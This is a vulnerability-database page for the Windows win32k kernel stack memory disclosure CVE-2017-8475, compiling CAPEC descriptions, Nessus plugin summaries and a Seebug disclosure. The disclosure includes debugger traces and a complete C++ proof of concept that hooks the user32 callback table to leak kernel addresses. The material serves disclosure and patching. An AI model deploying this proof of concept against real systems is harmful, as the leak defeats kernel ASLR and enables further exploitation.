Vulnerabilities > CVE-2017-8475 - Information Exposure vulnerability in Microsoft products
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
NONE Availability impact
NONE Summary
Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8473, CVE-2017-8477, and CVE-2017-8484.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
Nessus
NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022726.NASL description The remote Windows host is missing security update 4022717 or cumulative update 4022726. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-06-01 modified 2020-06-02 plugin id 100764 published 2017-06-13 reporter This script is Copyright (C) 2017-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/100764 title Windows 8.1 and Windows Server 2012 R2 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022727.NASL description The remote Windows 10 version 1507 host is missing security update KB4022727. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0218, CVE-2017-0219) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100765 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100765 title KB4022727: Windows 10 Version 1507 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022724.NASL description The remote Windows host is missing security update 4022718 or cumulative update 4022724. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100762 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100762 title Windows Server 2012 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_WIN2008.NASL description The remote Windows host is missing multiple security updates. It is, therefore, affected by multiple vulnerabilities : - An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user last seen 2020-06-01 modified 2020-06-02 plugin id 100786 published 2017-06-14 reporter This script is Copyright (C) 2017-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/100786 title Windows 2008 June 2017 Multiple Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022715.NASL description The remote Windows host is missing security update KB4022715. It is, therefore, affected by multiple vulnerabilities : - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0173, CVE-2017-0215, CVE-2017-0216, CVE-2017-0218, CVE-2017-0219) - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - A flaw exists in Microsoft Windows due to incorrect permissions being set on folders inside the DEFAULT folder structure. An authenticated, remote attacker can exploit this, by logging in to the affected system before the user can log in, to modify the user last seen 2020-05-31 modified 2017-06-13 plugin id 100760 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100760 title KB4022715: Windows 10 Version 1607 and Windows Server 2016 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022714.NASL description The remote Windows 10 version 1511 host is missing security update KB4022714. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0216, CVE-2017-0218, CVE-2017-0219) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100759 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100759 title KB4022714: Windows 10 Version 1511 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022719.NASL description The remote Windows host is missing security update 4022722 or cumulative update 4022719. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - A remote code execution vulnerability exists in Microsoft Office due to improper validation of user-supplied input before loading dynamic link library (DLL) files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted file, to execute arbitrary code in the context of the current user. (CVE-2017-0260) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285, CVE-2017-8534) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Mutiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0286, CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100761 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100761 title Windows 7 and Windows Server 2008 R2 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022725.NASL description The remote Windows 10 version 1703 host is missing security update KB4022725. It is, therefore, affected by multiple vulnerabilities : - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - A flaw exists in Microsoft Windows due to incorrect permissions being set on folders inside the DEFAULT folder structure. An authenticated, remote attacker can exploit this, by logging in to the affected system before the user can log in, to modify the user last seen 2020-05-31 modified 2017-06-13 plugin id 100763 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100763 title KB4022725: Windows 10 Version 1703 June 2017 Cumulative Update
Seebug
| bulletinFamily | exploit |
| description | We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtGdiOpenDCW system call. The analysis shown below was performed on Windows 7 32-bit. The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows: ``` --- cut --- 9706b8b4 82ab667d nt!memcpy+0x35 9706b910 92bf8220 nt!KeUserModeCallback+0xc6 9706b954 92c01d1f win32k!pppUserModeCallback+0x23 9706b970 92c096c8 win32k!ClientPrinterThunk+0x41 9706ba24 92b0c722 win32k!UMPDDrvEnablePDEV+0x18c 9706bc20 92b74bc4 win32k!PDEVOBJ::PDEVOBJ+0x1c5 9706bca4 92b6b2a6 win32k!hdcOpenDCW+0x18c 9706bd0c 82876db6 win32k!NtGdiOpenDCW+0x112 9706bd0c 77486c74 nt!KiSystemServicePostCall 0022fa18 772e9978 ntdll!KiFastSystemCallRet 0022fa1c 772e9a0e GDI32!NtGdiOpenDCW+0xc 0022fca8 772e9bab GDI32!hdcCreateDCW+0x1b1 0022fcf4 772e9c5d GDI32!bCreateDCA+0xe4 0022fd10 00405114 GDI32!CreateICA+0x18 --- cut --- ``` At the time of this callstack, the win32k!ClientPrinterThunk function invokes a user-mode callback #93 (corresponding to user32!__ClientPrinterThunk), and passes in an input structure of 0x6C bytes. We have found that 8 bytes at offset 0x4C and 12 bytes at offset 0x60 of that structure are uninitialized. We have tracked that this structure originates from the stack frame of the win32k!UMPDDrvEnablePDEV function, and is passed down to win32k!UMPDOBJ::Thunk in the 2nd argument. The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). If we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!UMPDDrvEnablePDEV, manually initialize the overall structure copied to user-mode with a marker 0x41 ('A') byte after the stack frame allocation instructions, and then observe some of these bytes in the output of the PoC program. This indicates they were not initialized anywhere during execution between win32k!UMPDDrvEnablePDEV and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below: ``` --- cut --- 1: kd> ba e 1 win32k!UMPDDrvEnablePDEV 1: kd> g Breakpoint 0 hit win32k!UMPDDrvEnablePDEV: 9629957c 6a7c push 7Ch 0: kd> p win32k!UMPDDrvEnablePDEV+0x2: 9629957e 68d0633796 push offset win32k!__safe_se_handler_table+0x7c98 (963763d0) 0: kd> p win32k!UMPDDrvEnablePDEV+0x7: 96299583 e828b4f8ff call win32k!_SEH_prolog4 (962249b0) 0: kd> p win32k!UMPDDrvEnablePDEV+0xc: 96299588 8d4de4 lea ecx,[ebp-1Ch] 0: kd> f ebp-8c ebp-8c+6c-1 41 Filled 0x6c bytes 0: kd> g --- cut --- ``` After executing the above commands, the program should print output similar to the following: ``` --- cut --- [...] 00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l............... 00000010: 1c 03 11 59 d8 e2 31 00 74 02 c6 01 a8 06 c6 01 ...Y..1.t....... 00000020: 06 00 00 00 00 00 c3 01 30 01 00 00 18 00 c3 01 ........0....... 00000030: 2c 01 00 00 48 01 c3 01 30 21 a0 ff e4 06 c6 01 ,...H...0!...... 00000040: 84 9b 31 00 00 00 00 00 00 00 00 00 41 41 41 41 ..1.........AAAA 00000050: 41 41 41 41 74 02 c3 01 74 02 c4 01 74 02 c5 01 AAAAt...t...t... 00000060: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA.... [...] --- cut --- ``` It's clearly visible that bytes at offsets 0x4c-0x53 and 0x60-0x6b are equal to the data we set in the prologue of win32k!UMPDDrvEnablePDEV, which illustrates how uninitialized stack data is leaked to user-mode. If we skip the manual initialization of bytes in the stack frame with a kernel debugger, an example output of the program is as follows: ``` --- cut --- 00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l............... 00000010: 75 03 11 55 d8 e2 25 00 74 02 96 01 a8 06 96 01 u..U..%.t....... 00000020: 06 00 00 00 00 00 93 01 30 01 00 00 18 00 93 01 ........0....... 00000030: 2c 01 00 00 48 01 93 01 30 21 a0 ff e4 06 96 01 ,...H...0!...... 00000040: 84 9b 25 00 00 00 00 00 00 00 00 00[96 6f 89 82]..%..........o.. 00000050:[28 65 9d 84]74 02 93 01 74 02 94 01 74 02 95 01 (e..t...t...t... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................ --- cut --- ``` In the above listing, two kernel-mode addresses are leaked at offsets 0x4c and 0x50: an address of the ntoskrnl.exe image, and an address of a non-paged pool allocation: ``` --- cut --- 0: kd> !address 849d6528 [...] Usage: Base Address: 84800000 End Address: 84a00000 Region Size: 00200000 VA Type: NonPagedPool VAD Address: 0x8800000067317cf2 Commit Charge: 0x1000165643ec0 Protection: 0x8800000067317cf0 [] Memory Usage: Private No Change: yes More info: !vad 0x84800000 0: kd> !address 82896f96 Usage: Module Base Address: 8281c000 End Address: 82c38000 Region Size: 0041c000 VA Type: BootLoaded Module name: ntoskrnl.exe Module path: [\SystemRoot\system32\ntkrnlpa.exe] --- cut --- ``` Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. CreateICA.cpp ``` #include <Windows.h> #include <cstdio> namespace globals { LPVOID (WINAPI *OrigClientPrinterThunk)(LPVOID); } // namespace globals; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } PVOID *GetUser32DispatchTable() { __asm{ mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) { printf("----------\n"); PrintHex((PBYTE)Data, ((PDWORD)Data)[0]); return globals::OrigClientPrinterThunk(Data); } int main() { if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) { return 1; } HDC hic = CreateICA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL); DeleteDC(hic); return 0; } ``` |
| id | SSV:96232 |
| last seen | 2017-11-19 |
| modified | 2017-06-27 |
| published | 2017-06-27 |
| reporter | Root |
| title | Windows Kernel stack memory disclosure in win32k!ClientPrinterThunk(CVE-2017-8475) |